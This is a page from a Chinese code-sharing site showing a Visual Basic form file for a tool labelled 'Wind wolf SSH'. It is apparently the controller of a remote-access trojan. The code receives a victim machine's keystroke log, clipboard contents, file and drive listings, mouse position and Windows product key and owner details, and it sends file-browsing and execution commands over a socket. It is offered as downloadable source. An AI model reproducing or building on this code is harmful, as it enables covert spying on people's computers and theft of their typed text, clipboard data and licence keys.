⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 form1.frm

📁 用VB调用SSH控件
💻 FRM
📖 第 1 页 / 共 3 页
字号:
    '运行失败
    If Left(Data, 6) = "sorry2" Then
    txtOutput2.Visible = True
    txtOutput2.text = vbCrLf & "[Sorry You Not Run File]" & vbCrLf
    
    End If
    
    If Left(Data, 6) = "gettxt" Then
    txtOutput3.Visible = True
    txtOutput3.text = vbCrLf & "[ls]" & vbCrLf & Data
    
    End If
    
    If Left(Data, 12) = "Begin Time: " And der = True Then
    txtOutput.text = txtOutput.text & vbCrLf & Data & vbCrLf
    txtOutput2.text = txtOutput2.text & vbCrLf & Data & vbCrLf
    End If
   
    If Left(Data, 12) = "[DRIVE LIST]" Then
        Data = Right(Data, Len(Data) - 12)
        GetLine = 0
        LastLine = 1
        For m = 1 To Len(Data)
            ChrState = Mid(Data, m, 1)
            If ChrState = Chr(0) Or m = 1 Then
                Select Case GetLine
                    Case 0:
                        DriveListCount = CLng(Mid(Data, 1, InStr(1, Data, Chr(0)))): LastLine = InStr(1, Data, Chr(0))
                    Case Is <> 0:
                        If GetLine < DriveListCount Then
                            'FrmMain.ListView2.ListItems.Add , , Mid(Data, GetLine + LastLine - (GetLine - 1), InStr(LastLine + 1, Data, Chr(0))), 3, 3
                            Combo2.AddItem Mid(Data, GetLine + LastLine - (GetLine - 1), InStr(LastLine + 1, Data, Chr(0)))
                            LastLine = InStr(LastLine + 1, Data, Chr(0))
                        Else
                            'FrmMain.ListView2.ListItems.Add , , Mid(Data, GetLine + LastLine - (GetLine - 1), Len(Data) - GetLine + LastLine - (GetLine - 1)), 3, 3
                             Combo2.AddItem Mid(Data, GetLine + LastLine - (GetLine - 1), Len(Data) - GetLine + LastLine - (GetLine - 1))
                        End If
                End Select
                GetLine = GetLine + 1
            End If
        Next m
    End If
    
    If Left(Data, 1) = "A" Then
        StoredData(CLng(Mid(Data, 2, 1))) = Mid(Data, 3, Len(Data) - 2)
    End If
        
    
    If Left(Data, 10) = "[FILE ADD]" Then
        ListView2.ListItems.Clear
        
        Data = Chr(0)
        For m = 0 To 10
            Data = Data & StoredData(m)
        Next m
        GetLine = 0
        LastLine = 1
        For m = 1 To Len(Data)
            ChrState = Mid(Data, m, 1)
            If ChrState = Chr(0) Then
                If GetLine = 0 Then
                    ListView2.ListItems.Add , , Mid(Data, GetLine + LastLine - (GetLine - 1) - 1, Len(Data) - GetLine + LastLine - (GetLine - 1) - 1)
                    'FrmMain.ListView1.ListItems.Add , , Mid(Data, GetLine + LastLine - (GetLine - 1) - 1, Len(Data) - GetLine + LastLine - (GetLine - 1) - 1)
                Else
                    If Left(ListView2.ListItems.Item(1).text, 1) = "" Then
                        ListView2.ListItems.Item(1).text = Mid(Data, GetLine + LastLine - (GetLine - 1), Len(Data) - GetLine + LastLine - (GetLine - 1))
                        'FrmMain.ListView1.ListItems.Add , , Mid(Data, GetLine + LastLine - (GetLine - 1) - 1, Len(Data) - GetLine + LastLine - (GetLine - 1) - 1)
                    Else
                        ListView2.ListItems.Add , , Mid(Data, GetLine + LastLine - (GetLine - 1), Len(Data) - GetLine + LastLine - (GetLine - 1))
                        'FrmMain.ListView1.ListItems.Add , , Mid(Data, GetLine + LastLine - (GetLine - 1) - 1, Len(Data) - GetLine + LastLine - (GetLine - 1) - 1)
                    End If
                End If
                LastLine = InStr(LastLine + 1, Data, Chr(0))
                GetLine = GetLine + 1
            End If
        Next m
    End If
    

    If Left(Data, 10) = "[FOLD ADD]" Then
        ListView1.ListItems.Clear
        Data = Chr(0)
        For m = 0 To 10
            Data = Data & StoredData(m)
        Next m
        GetLine = 0
        LastLine = 1
        For m = 1 To Len(Data)
            ChrState = Mid(Data, m, 1)
            If ChrState = Chr(0) Then
                If GetLine = 0 Then
                    ListView1.ListItems.Add , , Mid(Data, GetLine + LastLine - (GetLine - 1) - 1, Len(Data) - GetLine + LastLine - (GetLine - 1) - 1)
                Else
                    If Left(ListView2.ListItems.Item(1).text, 1) = "" Then
                        ListView1.ListItems.Item(1).text = Mid(Data, GetLine + LastLine - (GetLine - 1), Len(Data) - GetLine + LastLine - (GetLine - 1))
                    Else
                        ListView1.ListItems.Add , , Mid(Data, GetLine + LastLine - (GetLine - 1), Len(Data) - GetLine + LastLine - (GetLine - 1))
                    End If
                End If
                LastLine = InStr(LastLine + 1, Data, Chr(0))
                GetLine = GetLine + 1
            End If
        Next m
    End If
    
    
    If Left(Data, 11) = "[FOLD LIST]" Then
        ListView1.ListItems.Clear
        Data = Right(Data, Len(Data) - 12)
        GetLine = 0
        LastLine = 1
        For m = 1 To Len(Data)
            ChrState = Mid(Data, m, 1)
            If ChrState = Chr(0) And Mid(Data, GetLine + LastLine - (GetLine - 1), Len(Data) - GetLine + LastLine - (GetLine - 1)) <> "" Then
                If GetLine = 0 Then
                    ListView1.ListItems.Add , , Mid(Data, GetLine + LastLine - (GetLine - 1) - 1, Len(Data) - GetLine + LastLine - (GetLine - 1) - 1)
                txtOutput.text = txtOutput.text & vbCrLf & vbCrLf & Mid(Data, GetLine + LastLine - (GetLine - 1) - 1, Len(Data) - GetLine + LastLine - (GetLine - 1) - 1) & vbCrLf
                Else
                    ListView1.ListItems.Add , , Mid(Data, GetLine + LastLine - (GetLine - 1), Len(Data) - GetLine + LastLine - (GetLine - 1))
                txtOutput.text = txtOutput.text & vbCrLf & vbCrLf & Mid(Data, GetLine + LastLine - (GetLine - 1), Len(Data) - GetLine + LastLine - (GetLine - 1)) & vbCrLf
                End If
                LastLine = InStr(LastLine + 1, Data, Chr(0))
                GetLine = GetLine + 1
            End If
        Next m
    End If
    
    
    
    
  
    If Left(Data, 11) = "[FILE LIST]" Then
        ListView2.ListItems.Clear
        List1.Clear
        Data = Right(Data, Len(Data) - 12)
        GetLine = 0
        LastLine = 1
        For m = 1 To Len(Data)
            ChrState = Mid(Data, m, 1)
            If ChrState = Chr(0) And Mid(Data, GetLine + LastLine - (GetLine - 1), Len(Data) - GetLine + LastLine - (GetLine - 1)) <> "" Then
                If GetLine = 0 Then
                    ListView2.ListItems.Add , , Mid(Data, GetLine + LastLine - (GetLine - 1) - 1, Len(Data) - GetLine + LastLine - (GetLine - 1) - 1)
                    txtOutput2.text = txtOutput2.text & vbCrLf & vbCrLf & Mid(Data, GetLine + LastLine - (GetLine - 1) - 1, Len(Data) - GetLine + LastLine - (GetLine - 1) - 1) & vbCrLf
                  
                    FileType = ""
                    
                     For n = 1 To Len(ListView2.ListItems.Item(1).text)
                        GetChr0 = Right(ListView2.ListItems.Item(1).text, n)
                        GetChr1 = Left(GetChr0, 1)
                        'txtOutput2.Text = txtOutput2.Text & ListView2.ListItems.Item(1).Text & vbCrLf
                        If GetChr1 = "." Then
                            FileType = GetStringValue("HKEY_CLASSES_ROOT\" & "." & Right(ListView2.ListItems.Item(1).text, n - 1), "")
                            If FileType = "" Then FileType = UCase(Right(ListView2.ListItems.Item(1).text, n - 1)) & " FILE"
                            Exit For
                        End If
                    Next n
                
                    
                   ListView2.ListItems.Item(1).SubItems(1) = FileType
                Else
                    ListView2.ListItems.Add , , Mid(Data, GetLine + LastLine - (GetLine - 1), Len(Data) - GetLine + LastLine - (GetLine - 1))
                    txtOutput2.text = txtOutput2.text & vbCrLf & vbCrLf & Mid(Data, GetLine + LastLine - (GetLine - 1), Len(Data) - GetLine + LastLine - (GetLine - 1)) & vbCrLf
                   
                    FileType = ""
                    For n = 1 To Len(ListView2.ListItems.Item(GetLine + 1).text)
                       ' txtOutput2.Text = txtOutput2.Text & ListView2.ListItems.Item(GetLine + 1).Text & vbCrLf
                    '
                        GetChr0 = Right(ListView2.ListItems.Item(GetLine + 1).text, n)
                        GetChr1 = Left(GetChr0, 1)
                        If GetChr1 = "." Then
                            FileType = GetStringValue("HKEY_CLASSES_ROOT\" & "." & Right(ListView2.ListItems.Item(GetLine + 1).text, n - 1), "")
                            If FileType = "" Then FileType = UCase(Right(ListView2.ListItems.Item(GetLine + 1).text, n - 1)) & " FILE"
                            Exit For
                        End If
                    Next n
                    ListView2.ListItems.Item(GetLine + 1).SubItems(1) = FileType
                End If
                LastLine = InStr(LastLine + 1, Data, Chr(0))
                GetLine = GetLine + 1
            End If
        Next m
    End If
        
 
    If Left(Data, 6) = "[FSAA]" Then
        Data = Right(Data, Len(Data) - 6)
        GetLine = 0
        LastLine = 1
        For m = 1 To Len(Data)
            ChrState = Mid(Data, m, 1)
            If ChrState = Chr(0) And Mid(Data, GetLine + LastLine - (GetLine - 1), Len(Data) - GetLine + LastLine - (GetLine - 1)) <> "" Then
                If GetLine = 0 Then
                    ListView2.ListItems.Item(1).SubItems(2) = FormatKB(CLng(Mid(Data, GetLine + LastLine - (GetLine - 1), Len(Data) - GetLine + LastLine - (GetLine - 1))))
                Else
                    ListView2.ListItems.Item(GetLine + 1).SubItems(2) = FormatKB(CLng(Mid(Data, GetLine + LastLine - (GetLine - 1), Len(Data) - GetLine + LastLine - (GetLine - 1))))
                End If
                LastLine = InStr(LastLine + 1, Data, Chr(0))
                GetLine = GetLine + 1
            End If
        Next m
    End If
    
    
    
    If Left(Data, 1) = "M" Then
        Select Case Mid(Data, 2, 1)
           ' Case 0: MsgBox Mid(Data, 3, Len(Data) - 2), vbOKOnly, "Message"
           ' Case 1: MsgBox Mid(Data, 3, Len(Data) - 2), vbQuestion, "Message"
           ' Case 2: MsgBox Mid(Data, 3, Len(Data) - 2), vbInformation, "Message"
           ' Case 3: MsgBox Mid(Data, 3, Len(Data) - 2), vbExclamation, "Message"
           ' Case 4: MsgBox Mid(Data, 3, Len(Data) - 2), vbCritical, "Message"
        End Select
    End If
    
    If Left(Data, 1) = Chr(0) Then TextKeyLog.text = TextKeyLog.text & Mid(Data, 2, Len(Data) - 1)
    If Left(Data, 3) = "00B" Then If Len(TextKeyLog) > 0 Then TextKeyLog.text = Left(TextKeyLog, Len(TextKeyLog) - 1)
    If Left(Data, 3) = "NL0" Then TextKeyLog.text = TextKeyLog.text & vbNewLine 'vbCrLf
    
    If Left(Data, 5) = "[ESC]" Then TextKeyLog.text = TextKeyLog.text & "[ESC]"
    If Left(Data, 5) = "[TAB]" Then TextKeyLog.text = TextKeyLog.text & "[TAB]"
    If Left(Data, 6) = "[FKEY]" Then TextKeyLog.text = TextKeyLog.text & Mid(Data, 7, Len(Data) - 6)
    If Left(Data, 7) = "[ENTER]" Then TextKeyLog.text = TextKeyLog.text & "[ENTER]"
    
    TextKeyLog.SelStart = Len(TextKeyLog.text)
    
    Select Case Left$(Data, 3)
        Case "000": '
        Case "001":
            KeyBoardType.text = Mid(Data, 4, Len(Data) - 3)
        Case "002":
            ChrBlinkRate.text = Mid(Data, 4, Len(Data) - 3)
        Case "003":
            DoubleClickRate.text = Mid(Data, 4, Len(Data) - 3)
        Case "004":
            If Mid(Data, 4, Len(Data) - 3) = "1" Then
                MsgBox "Sound card exists on remote computer.", vbInformation, "Sound card check"
            Else
                MsgBox "No sound card exists on remote computer.", vbInformation, "Sound card check"
            End If
        Case "005": '
        Case "006": '
        Case "007":
            TextGetValue.text = Mid(Data, 4, Len(Data) - 3)
        Case "008":
            TextGetValue.text = Mid(Data, 4, Len(Data) - 3)
        Case "009":
            TextGetValue.text = Mid(Data, 4, Len(Data) - 3)
        Case "010": '
        Case "011": '
        Case "012": '
        Case "013": 'Add to new version
        Case "014":
            MouseXPos.text = Mid(Data, 4, Len(Data) - 3)
        Case "015":
            MouseYPos.text = Mid(Data, 4, Len(Data) - 3)
        Case "016": '
        Case "017": '
        Case "018": '
        Case "019":
            Data = Right(Data, Len(Data) - 3)
            MsgBox "The specified file (" & ExecPath & ") is (" & Data & ") as an executable on remote address.", vbInformation, "File exec Request"
        Case "020":
            For m = 1 To Len(Mid(Data, 4, Len(Data) - 3))
                If Mid(Mid(Data, 4, Len(Data) - 3), m, 1) = Chr(0) Then
                    TextWindowName.text = Mid(Data, 4, Len(Data) - 4 - Len(Right(Data, Len(Mid(Data, 4, Len(Data) - 3)) - m)))
                    ClassWindowName.text = Right(Data, Len(Mid(Data, 4, Len(Data) - 3)) - m)
                    If TextWindowName.text = "" And ClassWindowName.text = "" Then MsgBox "Could not find window in specified Hwnd.", vbInformation, "Hwnd Window finder"
                    Exit For
                End If
            Next m
        Case "021":
            TextClipBoard.text = Mid(Data, 4, Len(Data) - 3)
        Case "022": 'Add to new version
        Case "023":
            Data = Right(Data, Len(Data) - 3)
            GetLine = 0
            LastLine = 1
            For m = 1 To Len(Data)
                ChrState = Mid(Data, m, 1)
                If ChrState = Chr(0) Or m = 1 Then
                    Select Case GetLine
                        Case 0: TextComputerInfo.text = TextComputerInfo.text & "Product ID: " & Mid(Data, 1, InStr(1, Data, Chr(0))): LastLine = InStr(1, Data, Chr(0))
                        Case 1: TextComputerInfo.text = TextComputerInfo.text & vbNewLine & "Product Key: " & Mid(Data, GetLine + LastLine, InStr(LastLine + 1, Data, Chr(0))): LastLine = InStr(LastLine + 1, Data, Chr(0))
                        Case 2: TextComputerInfo.text = TextComputerInfo.text & vbNewLine & "Product Name: " & Mid(Data, GetLine + LastLine - (GetLine - 1), InStr(LastLine + 1, Data, Chr(0))): LastLine = InStr(LastLine + 1, Data, Chr(0))
                        Case 3: TextComputerInfo.text = TextComputerInfo.text & vbNewLine & "Program files Directory: " & Mid(Data, GetLine + LastLine - (GetLine - 1), InStr(LastLine + 1, Data, Chr(0))): LastLine = InStr(LastLine + 1, Data, Chr(0))
                        Case 4: TextComputerInfo.text = TextComputerInfo.text & vbNewLine & "Organisation: " & Mid(Data, GetLine + LastLine - (GetLine - 1), InStr(LastLine + 1, Data, Chr(0))): LastLine = InStr(LastLine + 1, Data, Chr(0))
                        Case 5: TextComputerInfo.text = TextComputerInfo.text & vbNewLine & "Owner: " & Mid(Data, GetLine + LastLine - (GetLine - 1), InStr(LastLine + 1, Data, Chr(0))): LastLine = InStr(LastLine + 1, Data, Chr(0))
                        Case 6: TextComputerInfo.text = TextComputerInfo.text & vbNewLine & "System root: " & Mid(Data, GetLine + LastLine - (GetLine - 1), InStr(LastLine + 1, Data, Chr(0))): LastLine = InStr(LastLine + 1, Data, Chr(0))
                        Case 7: TextComputerInfo.text = TextComputerInfo.text & vbNewLine & "Version: " & Mid(Data, GetLine + LastLine - (GetLine - 1), InStr(LastLine + 1, Data, Chr(0))): LastLine = InStr(LastLine + 1, Data, Chr(0))
                        Case 8: TextComputerInfo.text = TextComputerInfo.text & vbNewLine & "Version Number: " & Mid(Data, GetLine + LastLine - (GetLine - 1), InStr(LastLine + 1, Data, Chr(0))): LastLine = InStr(LastLine + 1, Data, Chr(0))
                        Case 9: TextComputerInfo.text = TextComputerInfo.text & vbNewLine & "Device Directory: " & Mid(Data, GetLine + LastLine - (GetLine - 1), InStr(LastLine + 1, Data, Chr(0))): LastLine = InStr(LastLine + 1, Data, Chr(0))
                        Case 10: TextComputerInfo.text = TextComputerInfo.text & vbNewLine & "Configuration Directory: " & Mid(Data, GetLine + LastLine - (GetLine - 1), InStr(LastLine + 1, Data, Chr(0))): LastLine = InStr(LastLine + 1, Data, Chr(0))
                        Case 11: TextComputerInfo.text = TextComputerInfo.text & vbNewLine & "Commom files Directory: " & Mid(Data, GetLine + LastLine - (GetLine - 1), InStr(LastLine + 1, Data, Chr(0))): LastLine = InStr(LastLine + 1, Data, Chr(0))
                        Case 12: TextComputerInfo.text = TextComputerInfo.text & vbNewLine & "Media Directory: " & Mid(Data, GetLine + LastLine - (GetLine - 1), InStr(LastLine + 1, Data, Chr(0))): LastLine = InStr(LastLine + 1, Data, Chr(0))
                        Case 13: TextComputerInfo.text = TextComputerInfo.text & vbNewLine & "Other Device Directory: " & Mid(Data, GetLine + LastLine - (GetLine - 1), Len(Data) - GetLine + LastLine - (GetLine - 1)): LastLine = InStr(LastLine + 1, Data, Chr(0))
                    End Select
                    GetLine = GetLine + 1
                End If
            Next m
       
        
    End Select
    
    Exit Sub
    
FinaliseError:
    
    Exit Sub
End Sub

Private Sub Command1_Click()
On Error Resume Next
 
    ListView1.ListItems.Clear
    If Right(TextDirectory.text, 1) <> "\" And Right(TextDirectory.text, 1) <> "/" Then TextDirectory.text = TextDirectory.text & "\"
    ' Client.SendData "[LOAD FOLDER NAME]" & Right(txtCMD.Text, Len(txtCMD.Text) - 9)
    
    Client.SendData "[LOAD FOLDER NAME]" & TextDirectory.text
    WaitTime = 0
    Do Until WaitTime = 10000
        WaitTime = WaitTime + 1: DoEvents
        Loop
    
    ListView2.ListItems.Clear
    ' Client.SendData "[LOAD FOLDER DATA]" & Right(txtCMD.Text, Len(txtCMD.Text) - 9)
    Client.SendData "[LOAD FOLDER DATA]" & TextDirectory.text
    WaitTime = 0
    Do Until WaitTime = 10000
        WaitTime = WaitTime + 1: DoEvents
        Loop
      Client.SendData "[FILE SIZE DATA]" & TextDirectory.text
     'Client.SendData "[FILE SIZE DATA]" & Right(txtCMD.Text, Len(txtCMD.Text) - 9)
End Sub

Private Sub Form_Load()
On Error Resume Next
txtOutput.text = "Wind wolf SSH [Version 5.00.2195]" & vbCrLf & "(C) 版权所有 20006-2007 Wolf."

ListView2.ColumnHeaders.Add , , "文件名", 2500
    ListView2.ColumnHeaders.Add , , "类型", 2500
    ListView2.ColumnHeaders.Add , , "大小", 2500
     ListView1.ColumnHeaders.Add , , "文件夹路径", 2500
     
der = False
End Sub
Private Sub ListView1_Click()
On Error Resume Next
 If ListView1.SelectedItem.text <> "" Then
TextDirectory.text = ListView1.SelectedItem.text
Client.SendData "119" & TextDirectory.text
End If
End Sub

Private Sub ListView1_DblClick()
On Error Resume Next
    If ListView1.SelectedItem.text <> "" Then
        TextDirectory.text = ListView1.SelectedItem.text & "\"
        'ListView1.SelectedItem.SmallIcon = ImageList.ListImages.Item(2).Picture
        ListView1.Refresh
        Combo2.text = TextDirectory.text
        Command1_Click
    End If
End Sub

Private Sub Timer1_Timer()
Clients.Show
Timer1.Enabled = False
End Sub

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -